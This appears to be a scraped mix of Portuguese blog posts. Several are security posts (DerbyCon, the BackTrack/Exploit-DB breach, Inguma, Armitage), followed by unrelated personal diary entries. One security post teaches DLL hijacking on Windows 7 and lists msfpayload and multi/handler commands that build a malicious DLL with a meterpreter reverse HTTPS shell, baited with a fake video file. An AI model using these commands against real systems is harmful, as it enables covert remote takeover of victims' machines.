Eeckhoutte (corelanc0d3r)Tom Eston (agent0x0)Rick Farina (Zero_Chaos)Chris Gates (Carnal0wnage)Chris Hadnagy (loganWHD)Kevin Johnson (secureideas)Dave Kennedy (ReL1K)James Lee (egypt)Rafal Los (WhiteRabbit)Kevin MitnickH.D Moore (hdm)Chris NickersonJim O’Gorman (elwood)Carlos Perez (darkoperator)Larry Pesche (haxorthematrix)Bruce Potter (gdead)Jason ScottEd SkoudisEric Smith (infosecmafia)John StrandScott Ullrichhttp://www.derbycon.com/speakers/Evento: http://www.derbycon.com/events/Localização: http://www.derbycon.com/location/Treinamento:  http://www.derbycon.com/training/Registro: http://www.derbycon.com/registration/Para o envio do seu "Paper" para ver se e aceito como palestrantes, maiores informações no link abaixo:http://www.derbycon.com/call-for-papers/Este e um evento que eu gostaria de ir, e ver alguns palestrantes brasileiros.Fonte: http://www.derbycon.com
BackTrack-linux.org e Exploit-db foram invadidos
Autor: Bhior | Publicado: 2010-12-26T16:09:00-08:00

Não há nada como ter sua bunda chutada na manhã de Natal, que é exatamente o que aconteceu conosco hoje. Fomos detidos e expostos, de forma verdadeira ", escreveu Aharoni.http://www.exploit-db.com/owned-and-exposed/http://www.exploit-db.com/papers/15823/Logs dos ataques:Exploit-DB(Offensive Security): http://pastebin.com/8giRpfPEBacktrack-linux: http://pastebin.com/vxcaC9NbAtaque feito pelo 1337 e inj3ct0r Team.Ref: http://www.backtrack-linux.org/backtrack/backtrack-blog-compromised/
Inguma - Penetration Testing Toolkit - Autoscan
Autor: Bhior | Publicado: 2010-11-28T17:26:00-08:00

Inguma e  um kit de ferramentas de descoberta de vulnerabilidade inteiramente  escrita em Python. Seu framework inclui módulos para descoberta de hosts, recolher informações, fuzz targets, força bruta (brute-force), exploits e disassembler.Os módulos de varredura do inguma são divididos em 5 partes, alem de um autoscan.Os módulos são "Descobrir", "Reunir", "Força bruta", "Exploits". Inguma pode ser executado em sua própria base python em modo gráfico e pelo terminal.Nessa aula vou mostrar o uso do autoscan, as demais funções mostro em aulas futuras. Com as informações colhidas eu logo no sistema alvo por ssh.Sobre o Vídeo:Tamanho:  6.2 MBFormato:  MP4Duração:  3:29 minMusica: Hip-Hop - Shift PianoBaixar: http://www.4shared.com/file/xaXM7rxy/Inguma-autoscan.htmlOn line: http://vimeo.com/17272324Ref:http://inguma.sourceforge.net
BackTrack 4 R2
Autor: Bhior | Publicado: 2010-11-22T17:00:00-08:00

Chegou a nova atualização - para um novo kernel, e uma nova versão do BackTrack. Com o codinome "Nemesis". Esta versão é a nossa melhor versão, é ainda com maior agilidade de resposta da área de trabalho, melhor suporte a hardware, suporte mais amplo placa wireless, ambiente de trabalho simplificado.Novas funções:    * Kernel 2.6.35.8 – *Much* improved mac80211 stack.    * USB 3.0 support.    * New wireless cards supported.    * All wireless Injection patches applied, maximum support for wireless attacks.    * Even *faster* desktop environment.    * Revamped Fluxbox environment for the KDE challenged.    * Metasploit rebuilt from scratch, MySQL db_drivers working out of the box.    * Updated old packages, added new ones, and removed obsolete ones.    * New BackTrack Wiki with better documentation and support.    * Our most professional, tested and streamlined release ever.Para aqueles que querem atualizar uma versão mais antiga do BT4:http://www.backtrack-linux.org/wiki/index.php/UpgradingReferencias:http://www.backtrack-linux.org/backtrack/backtrack-4-r2-download/ http://www.backtrack-linux.org/downloads/
Armitage - Interface gráfica para Metasploit
Autor: Bhior | Publicado: 2010-12-10T14:37:00-08:00

O Armitage me chamou muita atenção, a primeira vez que utilizei o programa, pode perceber que se tratava de um ótimo programa e um pouco parecido com o "Canvas", foi o que me levou a fazer uma requisição para que a ferramenta pudesse se adicionada no BackTrack, uma das distro prediletas.O topico da requisição: http://www.backtrack-linux.org/forums/tool-requests/35521-armitage-%96-cyber-attack-management-metasploit.html O programa esta disponíveis nos repositórios do backtrack, basta ir no shell e atualizar a distro:# apt-get update && apt-get upgradeDepois vai no menu Dragon > BackTrack > Penetration > ArmitageQualquer um pode contribuir com tools que se encaixam da ideologia da distro, nesse link:http://www.backtrack-linux.org/forums/tool-requests/ Agora vamos fazer um pouco sobre ela:                            Armitage   Armitage é uma ferramenta de gestão gráfica cyber ataque para Metasploit que visualiza suas targets, recomenda exploits e expõe as capacidades avançadas do framework. Armitage visa tornar Metasploit utilizável para os profissionais de segurança que compreendem hacking. Se você quer aprender e crescer em Metasploit cos recursos avançados, Armitage pode ajudá-lo.Manual: http://www.fastandeasyhacking.com/manualVideos:  http://www.youtube.com/watch?v=kdtMthVeC1Mhttp://www.youtube.com/watch?v=EACo2q3kgHYScreenshots:  http://www.fastandeasyhacking.com/images/screenshots/launch.pnghttp://www.fastandeasyhacking.com/images/screenshots/armitage4.pngBaixar:  http://www.fastandeasyhacking.com/downloadMetasploit Unleashed: http://www.offensive-security.com/metasploit-unleashed/ArmitageInstalação: http://www.offensive-security.com/metasploit-unleashed/Armitage_SetupScanning: http://www.offensive-security.com/metasploit-unleashed/Armitage_ScanningExploração: http://www.offensive-security.com/metasploit-unleashed/Armitage_ExploitationRef: http://www.fastandeasyhacking.com/ Estarei produzindo algumas aulas futuramente.[]'
Dll Hijacking em Windows 7
Autor: Bhior | Publicado: 2010-11-28T09:53:00-08:00

Nessa aula vou mostrar a técnica de dll hijacker, ela consiste em colocar ou substituir uma dll padrão do sistema operacional por uma dll  maliciosa. Uma vez que a dll maliciosa tenho sido modificada, e  necessário que ela esteja na mesma pasta do arquivo vulnerável ou  substituída o arquivo original na maquina alvo, essa falha e antiga e já  vem sendo discutida a mais de 10 anos. Não vou alongar muito o texto,  caso queiram saber mais informações, leia as referencias abaixo. Nesse link você vão pode encontrar uma lista de DLL´s vulneráveis e seus respectivos programas:http://www.exploit-db.com/dll-hijacking-vulnerable-applications/Na vídeo aula, crio uma dll maliciosa e um aquivo de vídeo  falso. Fiz de forma simples, não deixei a dll oculta para o melhor entendimento da vídeo, mas para esse ataque se bem sucedido deve envolver um pouco de engenharia social.Comandos:msfpayload windows/meterpreter/reverse_https LHOST=IP LPORT=443 D > /Diretório para ser salvo o arquivo/ehtrace.dll touch Video.flv use multi/handler set lhost IP set lport 443 set payload windows/meterpreter/reverse_https exploitSobre a aula:Tamanho: 69 MbFormato: AVIDuração: 4:29Musica: Hip-Hop – Hot shif once againBaixar:  http://www.4shared.com/file/yqv2OQRJ/Dll-hijacker_Windows_7_.htmlOn line: http://vimeo.com/17250307REF:http://en.wikipedia.org/wiki/DLL_Hijackinghttp://www.exploit-db.com/dll-hijacking-vulnerable-applications/http://en.wikipedia.org/wiki/Dynamic-link_libraryhttp://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.htmlhttp://www.rec-sec.com/2009/05/12/dll-hijacking-vulnerability/http://www.informationweek.com/news/windows/security/showArticle.jhtml?articleID=228200659
Finalmente 18
Autor: AC Lima | Publicado: 2010-10-25T09:18:00-07:00

Esperei tanto tempo por esse dia... 24/10/2010 o dia em que completei 18 anos.
( aaah, vamos parar com esse "Blá, Blá, Blá" ¬¬ )

Sempre achei a minha vidinha igual a de todo o resto da face da terra; Já fiquei feliz, triste, magoada, desiludida, me senti enganada...como todos. Mas agora parece que vejo as coisas diferentes, esse dia com certeza foi um divisor de águas na minha vida, não só porque eu estou mais velha ou algo parecido, e sim pôs eu me sinto diferente em todos os sentidos. Aquilo que me fez chorar ontem, com certeza não fará hoje, sei que estou imune em alguns aspectos e agora sim sinto e tenho certeza que nunca estou sozinha. Venho me solidificando espiritualmente e me sinto cada vez mais próxima de Deus e melhor, sinto-me com muita, muita vontade de aprender sobre a sua Lei. Hoje com certeza é um dia especial, pôs decidi que quero ser DIFERENTE e também desejo que outras pessoas enxerguem da mesma forma que eu enxergo, por isso digo: "Eis-me aqui " . Meu objetivo não é ser santa, ou ter um rótulo de "Garota Perfeitinha"... Meu desejo é ter a face de Deus cada vez mais presente em mim, que eu possa diminuir e Ele crescer sempre mais e mais na minha vida.

ps: Vem aiii "Party's 18 "
Diálogo.
Autor: AC Lima | Publicado: 2010-08-27T09:09:00-07:00

- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH! Cadê ele?
- No mesmo lugar de sempre, não?  

- Ain, aconteceu uma coisa muito bizarra comigo; Fui vê-lo e do nada ele virou uma coisa NOJENTA e agora ele sumiu... nem consigo mais lembrar de seu rosto.
Um filhote de leão, raio da manhã.
Autor: AC Lima | Publicado: 2010-09-15T11:17:00-07:00

Hoje eu acordei com uma grande vontade de falar de uma pessoa que tem feito os meus dias cada vez mais musicais. Roobertchay Filho, foi ele que fez nascer uma paixão por músicas que nunca tinha escutado e um estilo que achei que não tivesse nada haver comigo. O seu jeito de cantar me encanta e suas músicas ficam igual chiclete na minha cabeça. rs

 (..) Não consigo concordar com esse sistema, e quero abrir sua cabeça pro meu tema (...) Eu também gosto de dançar o pancadão, mais é saudável te dar outra opção ♫

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Tome conta do SEU BRASIL.
Autor: AC Lima | Publicado: 2010-09-26T12:01:00-07:00

As eleições estão chegando, e você conhece realmente as leis do sistema eleitoral?
Saberia me dizer o que significa Estado Laico?
Você sabia que pode eleger um deputado federal/estadual mesmo sem ter votado nele?
Será que é válido depositarmos o nosso voto em um protesto sem estrutura?

Notícias  MTV Tome Conta do Brasil 22/09/10 - A ocasião faz a corrupção; estado  laico e como você pode eleger um candidato sem votar.  Precisamos pesquisar cada vez mais e conhecer melhor os dirigentes do nosso País, o nosso voto é importante SIM. 
Tome conta do Brasil 
Itens
Autor: AC Lima | Publicado: 2010-08-27T08:42:00-07:00

Tem pessoas que passam em nossas vidas pra marcar, outras pra ficar, algumas pra nos fazer pensar e tem uma minoria que sempre está por perto em todas as situações. Até agora foi notória a passagem de cada uma deles na minha história, mas ultimamente venho pensando muito em tudo que tem acontecido e descobri que tem alguns que não se encaixam em nenhum item... [ How Make? ]... Então resolvi criar um novo; um item que só se encaixam aqueles que eu quero que sejam esquecidos de alguma forma, ou até mesmo situações desagradáveis.

_  ixxi, será que falei o que não devia? :s
Ah, cansei de ser a menininha boba, agora não vou mais me limitar por NINGUÉM!!

#FIKDIK
Stay
Autor: AC Lima | Publicado: 2011-06-15T19:13:00-07:00

Há momentos na vida que o que mais queremos é ter uma companhia, um ombro pra chorar e ter a certeza sempre terá alguém do seu ladinho pra te apoiar. Que milhares de pessoas que querem te fazer chorar, sempre vai existir uma querendo te faça sorrir. Um gesto já é o suficiente para nos conscientizar de que nem tudo ta perdido, as vezes só é preciso saber que tem alguém ali. 

"Quero um abraço, preciso de carinho, só lhe peço que não saia do meu lado.."